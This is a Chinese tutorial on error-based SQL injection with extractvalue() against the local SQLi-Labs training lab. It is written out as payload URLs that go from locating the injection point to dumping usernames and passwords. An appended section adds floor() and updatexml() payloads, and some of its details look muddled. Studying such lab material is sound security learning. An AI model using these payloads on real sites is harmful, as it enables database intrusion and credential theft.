基于extractvalue()的报错注入

报错注入前提:

(1) Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上

(2)后台未对一些具有报错功能的函数进行过滤
常用的报错功能函数包括extractvalue()、updatexml)、floor()、exp()等

报错原理:

xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx'。

该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示

1.访问SQLi-Labs网站

访问Less-1,并根据网页提示给定一个GET参数

http://127.0.0.1/sqli-labs/Less-1/?id=1

 

2.寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

http://127.0.0.1/sqli-labs/Less-1/?id=1'

运行后报错!

http://127.0.0.1/sqli-labs/Less-1/?id=1' and '1'='1

 运行后正常显示!

http://127.0.0.1/sqli-labs/Less-1/?id=1' and '1'='2

 运行后未正常显示!

由上述结果可以判断,网站存在字符型注入点。

3.获取网站当前所在数据库的库名

http://127.0.0.1/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

显示结果为security

4.获取数据库security的全部表名

?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

 显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助 limit来做分行显示,上述payload可以改为:

http://127.0.0.1/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit N,1)))--+

5.获取users表的全部字段名

?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

 显示结果,users表中有id、username和 password三个字段

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:

http://127.0.0.1/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit N,1)))--+

6.获取users表id,username,和password字段的全部值

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

1)显示第一组数据

http://127.0.0.1/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

 2)显示第二组数据

http://127.0.0.1/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

 以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。 

基于phpstudy搭建sqllib靶场是一个利用phpstudy软件和sql-1ib靶场环境来学习和练习SQL注入技术的过程。这里提供一个大致的步骤指南,但请注意,进行SQL注入实验应在合法的测试环境中进行,避免进行非法的渗透测试。 1. 安装phpstudy软件,并启动服务。 2. 下载sqllib靶场,根据其文档或说明文件进行安装和配置。 3. 配置好靶场后,启动web服务。 接下来,我们将针对不同的关卡介绍如何使用不同的SQL注入技术: **less1 和 less2 (使用extract()函数报错注入)** 1. 找到可能存在SQL注入的输入点,例如表单提交或URL参数。 2. 尝试注入一些基本的SQL注入代码,比如单引号(')来检查是否存在SQL注入漏洞。 3. 如果存在注入点,使用extract()函数配合双写技术来触发报错。例如,如果id参数可控,可以尝试如下的URL: ``` ?id=1' union select 1, extractvalue(1,concat(0x7e,database()))# ?id=1' union select 1, extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))# ``` **less-5 (使用floor()函数报错注入)** 1. 同样找到可能存在SQL注入的输入点。 2. 使用floor()函数和一些技巧来构造报错注入。例如: ``` ?id=1' and floor(rand(0) * (select group_concat(schema_name) from information_schema.schemata))# ``` **less-6 (使用updatexml()函数报错注入)** 1. 确定可以注入的点。 2. 利用updatexml()函数来触发报错。例如: ``` ?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)# ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值